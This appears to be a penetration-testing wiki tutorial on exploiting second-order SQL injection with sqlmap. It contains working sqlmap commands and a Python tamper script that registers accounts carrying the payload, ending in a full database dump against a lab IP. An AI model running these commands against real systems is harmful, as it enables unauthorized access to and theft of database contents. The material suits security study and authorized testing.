Second Order Injection - SQLMap

SQLMap can exploit Second Order SQLis.
You need to provide:

  • The request where the sqlinjection payload is going to be saved
  • The request where the payload will be executed

The request where the SQL injection payload is saved is indicated as in any other injection in sqlmap. The request where sqlmap can read the output/execution of the injection can be indicated with --second-url or with --second-req if you need to indicate a complete request from a file.

Simple second order example:

#Get the SQL payload execution with a GET to a url
sqlmap -r login.txt -p username --second-url "http://10.10.10.10/details.php"

#Get the SQL payload execution sending a custom request from a file
sqlmap -r login.txt -p username --second-req details.txt

In several cases this won’t be enough because you will need to perform other actions apart from sending the payload and accessing a different page.

When this is needed you can use a sqlmap tamper. For example the following script will register a new user using sqlmap payload as email and logout.

#!/usr/bin/env python

import re
import requests
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL

def dependencies():
    pass

def login_account(payload):
    proxies = {'http':'http://127.0.0.1:8080'}
    cookies = {"PHPSESSID": "6laafab1f6om5rqjsbvhmq9mf2"}

    params = {"username":"asdasdasd", "email":payload, "password":"11111111"}
    url = "http://10.10.10.10/create.php"
    pr = requests.post(url, data=params, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)

    url = "http://10.10.10.10/exit.php"
    pr = requests.get(url, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)

def tamper(payload, **kwargs):
    headers = kwargs.get("headers", {})
    login_account(payload)
    return payload

A SQLMap tamper is always executed before starting a injection try with a payload and it has to return a payload. In this case we don’t care about the payload but we care about sending some requests, so the payload isn’t changed.

So, if for some reason we need a more complex flow to exploit the second order SQL injection like:

  • Create an account with the SQLi payload inside the “email” field
  • Logout
  • Login with that account (login.txt)
  • Send a request to execute the SQL injection (second.txt)

This sqlmap line will help:

sqlmap --tamper tamper.py -r login.txt -p email --second-req second.txt --proxy http://127.0.0.1:8080 --prefix "a2344r3F'" --technique=U --dbms mysql --union-char "DTEC" -a
###########
# --tamper tamper.py : Indicates the tamper to execute before trying each SQLipayload
# -r login.txt : Indicates the request to send the SQLi payload
# -p email : Focus on email parameter (you can do this with an "email=*" inside login.txt
# --second-req second.txt : Request to send to execute the SQLi and get the ouput
# --proxy http://127.0.0.1:8080 : Use this proxy
# --technique=U : Help sqlmap indicating the technique to use
# --dbms mysql : Help sqlmap indicating the dbms
# --prefix "a2344r3F'" : Help sqlmap detecting the injection indicating the prefix
# --union-char "DTEC" : Help sqlmap indicating a different union-char so it can identify the vuln
# -a : Dump all